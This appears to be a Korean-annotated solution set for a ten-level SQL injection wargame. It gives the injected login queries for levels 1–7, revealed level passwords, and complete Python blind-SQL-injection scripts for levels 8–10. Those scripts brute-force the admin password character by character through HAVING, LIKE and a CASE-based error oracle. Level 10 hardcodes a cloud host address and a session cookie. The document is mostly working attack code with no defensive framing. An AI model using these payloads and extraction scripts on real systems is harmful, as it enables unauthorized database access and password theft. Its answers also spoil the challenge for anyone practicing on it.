Lv1

select \* from tb\_lv1 where id='admin'#' and pw=''

Lv2

select \* from tb\_lv2 where id='guest' and pw='' or id='admin' and '1'='1'

Lv3

select \* from tb\_lv3 where id='guest' and seq=0 or id=0x61646d696e and true

Lv4

select \* from tb\_lv4 where id='guest' and pw='1' || id='admin' && true#'

Lv5

select \* from tb\_lv5 where id='guest' and pw=''or(id='admin')and(true)#'

Lv6

select \* from tb\_lv6 where id='admin'#' and pw=''

Lv7

select id, pw from tb\_lv7 where id like '%admin%' union select pw, id from tb\_lv7#%'

Lv7 password : passwd@dm1n

Lv8 source

import urllib.request as req

import re

from urllib import parse

import time

lvurl = "\*/q/lv8.php?"

cookie = "PHPSESSID=\*"

length = 0

while (1):

length = length + 1

query = {

'search' : """admin%' having length(pw) = """ + str(length) + """#"""

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode("utf-8"))):

break

print("length : {}".format(length))

password = []

for k in range(length):

for j in range(128):

val = chr(j)

if(val == '&' or val == '|' or val == '\_'):

continue

query = {

'search' : """admin%' having substr(pw,"""+str(k+1)+""",1) = '""" + val + """'#"""

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

break

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode('utf-8'))):

password.append(val)

print ("".join(password))

break

print("password : ", end='')

print("".join(password))

Lv8 password : 3P9W1D

Lv9 소스

import urllib.request as req

import re

from urllib import parse

import time

lvurl = "\*/q/lv9.php?"

cookie = "PHPSESSID=\*"

length = 0

while (1):

length = length + 1

query = {

'search' : """admin%' having length(pw) < """ + str(length) + """#"""

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode("utf-8"))):

break

length = length - 1

print("length : {}".format(length))

password = ""

for k in range(length):

for j in range(128):

val = chr(j)

if(val == '&' or val == '|' or val == '\_' or val == '=' or val =='%'):

continue

query = {

'search' : "admin%' having left(pw,"+str(k+1)+") like '" + password + val + "'#"

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

break

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode('utf-8'))):

password = password + val

break

print("password : ", end='')

print(password)

lv9 password : P2W0RD

Lv10 code

import urllib.request as req

import re

from urllib import parse

import time

lvurl = "http://ec2-54-180-137-70.ap-northeast-2.compute.amazonaws.com:8089//q/lv10.php?"

cookie = "PHPSESSID=v60qksquc3rlei8nm71kg7d3tl"

length = 0

while (1):

length = length + 1

query = {

'sort' : ",(select case when ((select id from tb\_lv10 where length(pw)="+str(length)+" and id = 'admin')='admin') then 1 else 1\*(select pw from tb\_lv10)end)=1"

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode("utf-8"))):

break

print("length : {}".format(length))

password = ""

for k in range(length):

for j in range(128):

val = chr(j)

if(val == '&' or val == '|' or val == '\_' or val == '=' or val =='%'):

continue

query = {

'sort' : ",(select case when ((select id from tb\_lv10 where left(pw,"+str(k+1)+") like '" + password + val + "' and id = 'admin')='admin') then 1 else 1\*(select pw from tb\_lv10)end)=1"

}

param = parse.urlencode(query, encoding = 'UTF-8')

Myurl = lvurl+param

Myreq = req.Request(Myurl)

Myreq.add\_header('cookie', cookie)

Myres = req.urlopen(Myreq)

time.sleep(0.01)

urllist = list(Myres)

beforecheck = re.compile("[\*][\*][I][D][\*]")

index = 0

for i in range(len(urllist)-1):

if (beforecheck.search(urllist[i].decode('utf-8'))):

index = i

break

idcheck = re.compile("[a][d][m][i][n]")

if(idcheck.search(urllist[index+1].decode('utf-8'))):

password = password + val

break

print("password : ", end='')

print(password)

lv10 password : G00DBY2